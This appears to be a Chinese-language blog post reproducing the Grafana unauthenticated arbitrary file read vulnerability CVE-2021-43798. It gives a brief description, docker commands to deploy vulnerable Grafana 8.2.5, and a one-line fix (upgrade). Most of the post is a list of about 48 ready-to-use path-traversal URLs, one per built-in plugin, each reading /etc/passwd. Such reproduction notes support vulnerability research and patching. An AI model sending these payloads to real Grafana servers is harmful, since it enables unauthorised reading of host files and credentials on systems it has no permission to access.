Grafana 任意檔案讀取漏洞（CVE-2021-43798）
阿新 • • 發佈：2022-03-27
Preface
Grafana是一個跨平臺、開源的資料視覺化網路應用程式平臺。使用者配置連線的資料來源之後，Grafana可以在網路瀏覽器裡顯示資料圖表和警告。Grafana 存在未授權任意檔案讀取漏洞，攻擊者在未經身份驗證的情況下可通過該漏洞讀取主機上的任意檔案。
CVE編號：
CVE-2021-43798
影響範圍：
Grafana v8.2.6
Links
https://nvd.nist.gov/vuln/detail/CVE-2021-43798
https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/復現記錄
grafana 環境部署docker pull grafana/grafana:8.2.5 docker run -d -p 3000:3000 --name=grafana grafana/grafana:8.2.5
PoCs
因為不知道Grafana安裝了什麼外掛需要模糊測試：
/public/plugins/alertGroups/../../../../../../../../etc/passwd /public/plugins/alertlist/../../../../../../../../etc/passwd /public/plugins/alertmanager/../../../../../../../../etc/passwd /public/plugins/annolist/../../../../../../../../etc/passwd /public/plugins/barchart/../../../../../../../../etc/passwd /public/plugins/bargauge/../../../../../../../../etc/passwd /public/plugins/canvas/../../../../../../../../etc/passwd /public/plugins/cloudwatch/../../../../../../../../etc/passwd /public/plugins/dashboard/../../../../../../../../etc/passwd /public/plugins/dashlist/../../../../../../../../etc/passwd /public/plugins/debug/../../../../../../../../etc/passwd /public/plugins/elasticsearch/../../../../../../../../etc/passwd /public/plugins/gauge/../../../../../../../../etc/passwd /public/plugins/geomap/../../../../../../../../etc/passwd /public/plugins/gettingstarted/../../../../../../../../etc/passwd /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd /public/plugins/grafana/../../../../../../../../etc/passwd /public/plugins/graph/../../../../../../../../etc/passwd /public/plugins/graphite/../../../../../../../../etc/passwd /public/plugins/heatmap/../../../../../../../../etc/passwd /public/plugins/histogram/../../../../../../../../etc/passwd /public/plugins/influxdb/../../../../../../../../etc/passwd /public/plugins/jaeger/../../../../../../../../etc/passwd /public/plugins/live/../../../../../../../../etc/passwd /public/plugins/logs/../../../../../../../../etc/passwd /public/plugins/loki/../../../../../../../../etc/passwd /public/plugins/mixed/../../../../../../../../etc/passwd /public/plugins/mssql/../../../../../../../../etc/passwd /public/plugins/mysql/../../../../../../../../etc/passwd /public/plugins/news/../../../../../../../../etc/passwd /public/plugins/nodeGraph/../../../../../../../../etc/passwd /public/plugins/opentsdb/../../../../../../../../etc/passwd /public/plugins/piechart/../../../../../../../../etc/passwd /public/plugins/pluginlist/../../../../../../../../etc/passwd /public/plugins/postgres/../../../../../../../../etc/passwd /public/plugins/prometheus/../../../../../../../../etc/passwd /public/plugins/stat/../../../../../../../../etc/passwd /public/plugins/state-timeline/../../../../../../../../etc/passwd /public/plugins/status-history/../../../../../../../../etc/passwd /public/plugins/table-old/../../../../../../../../etc/passwd /public/plugins/table/../../../../../../../../etc/passwd /public/plugins/tempo/../../../../../../../../etc/passwd /public/plugins/testdata/../../../../../../../../etc/passwd /public/plugins/text/../../../../../../../../etc/passwd /public/plugins/timeseries/../../../../../../../../etc/passwd /public/plugins/welcome/../../../../../../../../etc/passwd /public/plugins/xychart/../../../../../../../../etc/passwd /public/plugins/zipkin/../../../../../../../../etc/passwd
修復方案
版本升級。